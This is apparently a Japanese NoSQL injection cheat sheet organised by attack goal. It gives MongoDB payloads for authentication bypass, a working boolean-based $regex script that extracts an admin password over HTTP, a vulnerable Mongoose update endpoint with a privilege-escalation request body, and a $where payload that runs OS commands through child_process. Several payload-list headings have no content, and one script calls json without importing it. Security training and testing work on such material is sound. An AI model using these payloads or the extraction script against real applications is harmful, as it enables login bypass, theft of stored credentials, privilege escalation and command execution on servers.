NoSQLインジェクション チートシート

目的別 NoSQLインジェクション手法一覧

🔑 認証回避 (Authentication Bypass)

ログイン処理などで、ユーザー名やパスワードの検証ロジックを迂回し、不正に認証を突破することを目的とした手法です。 主に、クエリ演算子を悪用して常に真 (True) となる条件を作り出します。

代表的なペイロード

コード例 (Python/PyMongo)

from pymongo import MongoClient

client = MongoClient('mongodb://localhost:27017/')
db = client.mydatabase
users = db.users

# 脆弱なログインチェックの例
def login(username, password_payload):
  # password_payload に {"$ne": null} などが注入される可能性がある
  user = users.find_one({"username": username, "password": password_payload})
  if user:
    print(f"ログイン成功: {user}")
    return True
  else:
    print("ログイン失敗")
    return False

# 攻撃例
# login("admin", "incorrect_password") # 通常は失敗
login("admin", {"$ne": None}) # 認証回避試行
      

💾 データ抽出 (Data Extraction)

データベース内に保存されている機密情報（他のユーザーの情報、設定情報など）を不正に取得することを目的とした手法です。 エラーメッセージ、応答時間、ブール値の応答などを利用して情報を少しずつ明らかにしていきます。

代表的なペイロードとテクニック

データ抽出スクリプトの概念 (Python/ブールベース)

import requests
import string

# ターゲットURL (例)
url = "http://example.com/api/user"
# 既知のユーザー名
username = "admin"
# 抽出したいパスワード
password = ""
# 試行する文字セット
charset = string.ascii_lowercase + string.digits + "{}_-" # 例

while True:
    found_char = False
    for char in charset:
        # 試行するパスワード
        test_password = password + char
        # ペイロード (例: $regex を使用)
        payload = {
            "username": username,
            "password": {"$regex": f"^{test_password}.*"}
        }
        # 脆弱なAPIエンドポイントにリクエスト
        # response = requests.post(url, json=payload) # または GET など
        response = requests.get(url, params={'query': json.dumps(payload)}) # GETパラメータでJSONを送る例

        # 応答を解析して真偽を判断 (アプリケーションの挙動に依存)
        # 例: 応答に "Success" が含まれるか、ステータスコードが 200 かどうかなど
        if "Success" in response.text: # 仮の成功条件
            password = test_password
            print(f"発見: {password}")
            found_char = True
            break # 次の文字へ

    if not found_char:
        print(f"最終的なパスワード (推定): {password}")
        break # 全ての文字を試しても見つからなければ終了
      

✏️ データ改ざん・追加 (Data Tampering/Addition)

データベース内の既存のデータを不正に変更したり、新たなデータを追加したりする手法です。権限昇格や、他の攻撃の足がかりを作るために利用されることがあります。 主に更新系のクエリ（updateなど）に対するインジェクションが該当します。

代表的なペイロード (MongoDB Update演算子)

MongoDBのupdate操作では、第一引数で更新対象ドキュメントを特定し、第二引数で更新内容を指定します。第二引数に更新演算子 ($set, $unset, $inc など) を注入することで、意図しないフィールドの変更が可能になります。

コード例 (Node.js/Mongoose – 脆弱な更新処理)

const mongoose = require('mongoose');
const User = mongoose.model('User', new mongoose.Schema({
  username: String,
  profile: mongoose.Schema.Types.Mixed // 任意のデータ構造を許可 (危険!)
}));

// ユーザープロファイル更新API (脆弱な例)
app.post('/updateProfile', async (req, res) => {
  const userId = req.session.userId; // セッションからユーザーID取得 (仮)
  const profileData = req.body.profile; // ユーザーからの入力をそのまま受け取る

  try {
    // profileData に {"$set": {"isAdmin": true}} などが注入される可能性がある
    await User.updateOne({ _id: userId }, { $set: { profile: profileData } });
    // 上記は誤り。正しくは更新したいフィールドを明示的に指定すべき。
    // 以下のように $set 全体を注入できてしまう可能性がある実装が危険
    // await User.updateOne({ _id: userId }, profileData ); // ★非常に危険なパターン★

    // 脆弱な例 (直接 $set などを受け付ける)
    // req.body が {"$set": {"isAdmin": true}} のような形だと改ざん可能
    await User.updateOne({ _id: userId }, req.body);

    res.send('Profile updated successfully');
  } catch (err) {
    res.status(500).send('Error updating profile');
  }
});

// 攻撃リクエストの例 (body部分)
// POST /updateProfile
// Content-Type: application/json
// {"$set": {"isAdmin": true, "email": "hacked@example.com"}}
      

💣 サービス妨害 (Denial of Service – DoS)

データベースサーバーやアプリケーションサーバーのリソース（CPU、メモリ、ディスクI/O）を枯渇させ、正規のユーザーがサービスを利用できないようにする攻撃です。 計算量の多い演算子やクエリを意図的に実行させることで引き起こされます。

代表的なペイロード

💉 サーバーサイドJavaScriptインジェクション (SSJI)

$where, mapReduce, group など、サーバーサイドでJavaScriptコードを実行できる機能を持つNoSQLデータベースにおいて、任意のJavaScriptコードを注入する攻撃です。 成功した場合、データ抽出、改ざん、DoSだけでなく、場合によってはOSコマンドの実行など、より深刻な被害につながる可能性があります。 極めて危険な脆弱性です。

代表的なインジェクションポイントとペイロード

SSJIによるOSコマンド実行の試み (Node.js環境の例)

Node.js環境でMongoDBが動作しており、かつ特定のモジュールが利用可能な場合、以下のようなペイロードでOSコマンド実行が試みられることがあります。これは非常に稀なケースですが、理論的には可能です。

// $where などに注入されるペイロードの例
function() {
  try {
    // Node.js の require を利用しようと試みる (通常はサンドボックス化されている)
    var require = this.constructor.constructor("return process.mainModule.require")();
    var cp = require('child_process');
    // OSコマンドを実行 (例: 'ls /')
    var result = cp.execSync('ls /').toString();
    // 結果を何らかの方法で外部に送信するか、エラーメッセージ等で表示させる
    throw 'Cmd Result: ' + result;
  } catch (e) {
    // エラー処理
    throw 'Cmd Exec Failed: ' + e.message;
  }
  return false; // または true
}